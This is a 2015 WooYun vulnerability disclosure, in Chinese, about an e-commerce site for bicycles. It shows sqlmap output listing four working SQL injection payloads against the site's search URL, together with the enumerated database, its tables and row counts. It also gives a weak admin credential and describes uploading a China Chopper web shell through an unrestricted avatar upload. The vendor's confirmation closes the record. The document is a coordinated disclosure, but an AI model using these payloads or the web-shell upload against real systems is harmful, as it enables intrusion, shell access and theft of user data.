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缺陷编号：wooyun-2015-0108320

漏洞标题：智行车SQL注入漏洞+后台任意文件上传(已Getshell)

相关厂商：zhixingche.me

漏洞作者： 几何黑店

提交时间：2015-04-16 12:07

修复时间：2015-05-31 12:14

公开时间：2015-05-31 12:14

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2015-04-16： 细节已通知厂商并且等待厂商处理中
2015-04-16： 厂商已经确认，细节仅向厂商公开
2015-04-26： 细节向核心白帽子及相关领域专家公开
2015-05-06： 细节向普通白帽子公开
2015-05-16： 细节向实习白帽子公开
2015-05-31： 细节向公众公开

简要描述：

智行车SQL注入漏洞+后台任意文件上传(已Getshell)
感谢@天地不仁以万物

详细说明：

使用了Yii Framework/2.0.0-dev
http://zhixingche.me/site/search-post?type=0&keyword=%22
报错

QQ图片20150416120041.png


那我们放到SQLMAP里跑跑

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND 3677=3677 AND "VuZD" LIKE "VuZD
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND (SELECT 7174 FROM(SELECT COUNT(*),CONCAT(0x71707a6a71,(SELECT (ELT(7174=7174,1))),0x71787a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "AMtI" LIKE "AMtI
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=";(SELECT * FROM (SELECT(SLEEP(20)))KYvQ)#
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND (SELECT * FROM (SELECT(SLEEP(20)))QpZl) AND "FqYz" LIKE "FqYz
---
back-end DBMS: MySQL 5.0
available databases [2]:
[*] information_schema
[*] zhixingche
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND 3677=3677 AND "VuZD" LIKE "VuZD
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND (SELECT 7174 FROM(SELECT COUNT(*),CONCAT(0x71707a6a71,(SELECT (ELT(7174=7174,1))),0x71787a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "AMtI" LIKE "AMtI
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=";(SELECT * FROM (SELECT(SLEEP(5)))KYvQ)#
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND (SELECT * FROM (SELECT(SLEEP(5)))QpZl) AND "FqYz" LIKE "FqYz
---
back-end DBMS: MySQL 5.0
Database: zhixingche
[21 tables]
+--------------------+
| tbl_admin          |
| tbl_after_sale     |
| tbl_apply          |
| tbl_config         |
| tbl_forum          |
| tbl_forum_comment  |
| tbl_forum_post     |
| tbl_item           |
| tbl_message        |
| tbl_order          |
| tbl_order_item     |
| tbl_post           |
| tbl_post_action    |
| tbl_post_category  |
| tbl_post_comment   |
| tbl_post_favourite |
| tbl_region         |
| tbl_special        |
| tbl_user           |
| tbl_user_address   |
| tbl_user_token     |
+--------------------+
Database: zhixingche
+--------------------+---------+
| Table              | Entries |
+--------------------+---------+
| tbl_region         | 3244    |
| tbl_post           | 367     |
| tbl_user           | 105     |
| tbl_forum_comment  | 102     |
| tbl_post_action    | 101     |
| tbl_user_token     | 66      |
| tbl_forum_post     | 38      |
| tbl_message        | 9       |
| tbl_post_category  | 7       |
| tbl_post_favourite | 7       |
| tbl_post_comment   | 6       |
| tbl_admin          | 5       |
| tbl_forum          | 2       |
| tbl_config         | 1       |
+--------------------+---------+


后台用户名很简单
明文传输,还可以爆破
root/7

漏洞证明：

进入后台后, 我们来看看有些什么可以利用的

QQ图片20150416115345.png


有个用户管理,可以上传用户头像,但是没对文件类型做任何限制,看来Yii Framework/2.0.0-dev这个版本应该都存在这个问题

QQ图片20150416120357.png


直接传个菜刀

mask 区域 
1.http://**.**.**/upload/img/9e78bc2d24ca61b3d8be920bc95e9380.php


QQ图片20150416120518.png

修复方案：

你懂的

版权声明：转载请注明来源 几何黑店@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-04-16 12:12

厂商回复：

已确认，这么低级的错误：$query->andWhere("title like \"%$keyword%\" or tag like \"%$keyword%\" ");
非常感谢

最新状态：

暂无